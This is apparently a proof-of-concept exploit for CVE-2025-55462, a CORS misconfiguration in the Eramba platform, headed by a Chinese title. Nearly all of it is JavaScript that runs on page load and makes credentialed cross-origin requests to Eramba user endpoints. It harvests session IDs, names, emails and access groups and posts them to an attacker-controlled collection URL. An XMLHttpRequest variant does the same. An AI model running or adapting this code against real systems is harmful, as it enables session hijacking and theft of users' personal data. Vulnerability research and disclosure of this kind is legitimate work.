CVE-2025-55462 Eramba CORS配置错误导致敏感信息泄露及会话劫持

// CVE-2025-55462 CORS Misconfiguration PoC for Eramba // This PoC demonstrates how an attacker can exploit CORS misconfiguration // to steal session data from authenticated Eramba users const TARGET_ORIGIN = 'https://eramba.example.com'; const MALICIOUS_ORIGIN = 'https://attacker-controlled-site.com'; // Function to make authenticated CORS request async function exploitCorsVulnerability() { console.log('[+] Starting CORS exploitation for CVE-2025-55462'); // Try to fetch user profile data via CORS const endpoints = [ '/system-api/user/me', '/system-api/login', '/api/profile' ]; for (const endpoint of endpoints) { try { console.log(`[*] Attempting to fetch: ${endpoint}`); // Craft the CORS request with credentials const response = await fetch(`${TARGET_ORIGIN}${endpoint}`, { method: 'GET', mode: 'cors', credentials: 'include', // Include cookies for authenticated request headers: { 'Origin': MALICIOUS_ORIGIN } }); if (response.ok) { const data = await response.json(); console.log('[+] Success! Extracted data:'); console.log(JSON.stringify(data, null, 2)); // Extract sensitive session information if (data.session_id || data.id) { const sessionInfo = { session_id: data.session_id || data.id, user_id: data.id, name: data.name, email: data.email, access_groups: data.access_groups }; console.log('[+] Session hijacking data collected:', sessionInfo); // Send stolen data to attacker server await reportStolenData(sessionInfo); } } else { console.log(`[-] Request failed with status: ${response.status}`); } } catch (error) { console.log(`[-] Error fetching ${endpoint}: ${error.message}`); } } } // Function to report stolen data to attacker async function reportStolenData(data) { // Send stolen session data to attacker-controlled endpoint await fetch('https://attacker-controlled-site.com/collect', { method: 'POST', mode: 'no-cors', body: JSON.stringify(data) }); } // Trigger exploitation when page loads window.onload = exploitCorsVulnerability; // Alternative PoC using XMLHttpRequest function xmlHttpRequestPoc() { const xhr = new XMLHttpRequest(); xhr.open('GET', TARGET_ORIGIN + '/system-api/user/me', true); xhr.withCredentials = true; // Include credentials xhr.setRequestHeader('Origin', MALICIOUS_ORIGIN); xhr.onreadystatechange = function() { if (xhr.readyState === 4 && xhr.status === 200) { const response = JSON.parse(xhr.responseText); console.log('Stolen data:', response); // Extract and exfiltrate session data } }; xhr.send(); }